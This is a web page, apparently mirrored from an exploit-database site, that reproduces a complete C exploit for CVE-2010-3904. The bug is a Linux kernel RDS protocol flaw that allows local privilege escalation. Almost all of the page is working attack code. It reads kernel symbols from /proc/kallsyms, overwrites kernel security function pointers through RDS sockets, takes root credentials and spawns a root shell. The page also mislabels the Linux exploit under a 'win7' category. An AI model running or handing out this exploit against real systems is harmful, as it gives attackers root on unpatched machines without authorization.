Home / os / win7

[local exploits] - Linux RDS Protocol Local Privilege Escala

Posted on 19 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Linux RDS Protocol Local Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Linux RDS Protocol Local Privilege Escalation by Dan Rosenberg in local exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================= Linux RDS Protocol Local Privilege Escalation ============================================= /* * Linux Kernel &lt;= 2.6.36-rc8 RDS privilege escalation exploit * CVE-2010-3904 * by Dan Rosenberg &lt;drosenberg@vsecurity.com&gt; * * Copyright 2010 Virtual Security Research, LLC * * The handling functions for sending and receiving RDS messages * use unchecked __copy_*_user_inatomic functions without any * access checks on user-provided pointers. As a result, by * passing a kernel address as an iovec base address in recvmsg-style * calls, a local user can overwrite arbitrary kernel memory, which * can easily be used to escalate privileges to root. Alternatively, * an arbitrary kernel read can be performed via sendmsg calls. * * This exploit is simple - it resolves a few kernel symbols, * sets the security_ops to the default structure, then overwrites * a function pointer (ptrace_traceme) in that structure to point * to the payload. After triggering the payload, the original * value is restored. Hard-coding the offset of this function * pointer is a bit inelegant, but I wanted to keep it simple and * architecture-independent (i.e. no inline assembly). * * The vulnerability is yet another example of why you shouldn&#039;t * allow loading of random packet families unless you actually * need them. * * Greets to spender, kees, taviso, hawkes, team lollerskaters, * joberheide, bla, sts, and VSR * */ #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;stdlib.h&gt; #include &lt;fcntl.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;errno.h&gt; #include &lt;string.h&gt; #include &lt;sys/ptrace.h&gt; #include &lt;sys/utsname.h&gt; #define RECVPORT 5555 #define SENDPORT 6666 int prep_sock(int port) { int s, ret; struct sockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s &lt; 0) { printf(&quot;[*] Could not open socket. &quot;); exit(-1); } memset(&amp;addr, 0, sizeof(addr)); addr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); addr.sin_family = AF_INET; addr.sin_port = htons(port); ret = bind(s, (struct sockaddr *)&amp;addr, sizeof(addr)); if(ret &lt; 0) { printf(&quot;[*] Could not bind socket. &quot;); exit(-1); } return s; } void get_message(unsigned long address, int sock) { recvfrom(sock, (void *)address, sizeof(void *), 0, NULL, NULL); } void send_message(unsigned long value, int sock) { int size, ret; struct sockaddr_in recvaddr; struct msghdr msg; struct iovec iov; unsigned long buf; memset(&amp;recvaddr, 0, sizeof(recvaddr)); size = sizeof(recvaddr); recvaddr.sin_port = htons(RECVPORT); recvaddr.sin_family = AF_INET; recvaddr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); memset(&amp;msg, 0, sizeof(msg)); msg.msg_name = &amp;recvaddr; msg.msg_namelen = sizeof(recvaddr); msg.msg_iovlen = 1; buf = value; iov.iov_len = sizeof(buf); iov.iov_base = &amp;buf; msg.msg_iov = &amp;iov; ret = sendmsg(sock, &amp;msg, 0); if(ret &lt; 0) { printf(&quot;[*] Something went wrong sending. &quot;); exit(-1); } } void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) { if(!fork()) { sleep(1); send_message(value, sendsock); exit(1); } else { get_message(addr, recvsock); wait(NULL); } } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;); if (f == NULL) { f = fopen(&quot;/proc/ksyms&quot;, &quot;r&quot;); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, &quot;%p %c %s &quot;, (void **)&amp;addr, &amp;dummy, sname); else { ret = fscanf(f, &quot;%p %s &quot;, (void **)&amp;addr, sname); if (ret == 2) { char *p; if (strstr(sname, &quot;_O/&quot;) || strstr(sname, &quot;_S.&quot;)) continue; p = strrchr(sname, &#039;_&#039;); if (p &gt; ((char *)sname + 5) &amp;&amp; !strncmp(p - 3, &quot;smp&quot;, 3)) { p = p - 4; while (p &gt; (char *)sname &amp;&amp; *(p - 1) == &#039;_&#039;) p--; *p = &#039;&#039;; } } } if (ret == 0) { fscanf(f, &quot;%s &quot;, sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, &quot; [+] Resolved %s to %p%s &quot;, name, (void *)addr, rep ? &quot; (via System.map)&quot; : &quot;&quot;); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: /* didn&#039;t find the symbol, let&#039;s retry with the System.map dedicated to the pointlessness of Russell Coker&#039;s SELinux test machine (why does he keep upgrading the kernel if &quot;all necessary security can be provided by SE Linux&quot;?) */ uname(&amp;ver); if (strncmp(ver.release, &quot;2.6&quot;, 3)) oldstyle = 1; sprintf(sname, &quot;/boot/System.map-%s&quot;, ver.release); f = fopen(sname, &quot;r&quot;); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char * argv[]) { unsigned long sec_ops, def_ops, cap_ptrace, target; int sendsock, recvsock; struct utsname ver; printf(&quot;[*] Linux kernel &gt;= 2.6.30 RDS socket exploit &quot;); printf(&quot;[*] by Dan Rosenberg &quot;); uname(&amp;ver); if(strncmp(ver.release, &quot;2.6.3&quot;, 5)) { printf(&quot;[*] Your kernel is not vulnerable. &quot;); return -1; } /* Resolve addresses of relevant symbols */ printf(&quot;[*] Resolving kernel addresses... &quot;); sec_ops = get_kernel_sym(&quot;security_ops&quot;); def_ops = get_kernel_sym(&quot;default_security_ops&quot;); cap_ptrace = get_kernel_sym(&quot;cap_ptrace_traceme&quot;); commit_creds = (_commit_creds) get_kernel_sym(&quot;commit_creds&quot;); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(&quot;prepare_kernel_cred&quot;); if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { printf(&quot;[*] Failed to resolve kernel symbols. &quot;); return -1; } /* Calculate target */ target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) &amp; ~(sizeof(void *) - 1)); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /* Reset security ops */ printf(&quot;[*] Overwriting security ops... &quot;); write_to_mem(sec_ops, def_ops, sendsock, recvsock); /* Overwrite ptrace_traceme security op fptr */ printf(&quot;[*] Overwriting function pointer... &quot;); write_to_mem(target, (unsigned long)&amp;getroot, sendsock, recvsock); /* Trigger the payload */ printf(&quot;[*] Triggering payload... &quot;); ptrace(PTRACE_TRACEME, 1, NULL, NULL); /* Restore the ptrace_traceme security op */ printf(&quot;[*] Restoring function pointer... &quot;); write_to_mem(target, cap_ptrace, sendsock, recvsock); if(getuid()) { printf(&quot;[*] Exploit failed to get root. &quot;); return -1; } printf(&quot;[*] Got root! &quot;); execl(&quot;/bin/sh&quot;, &quot;sh&quot;, NULL); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-19]</pre></body></html>

 

TOP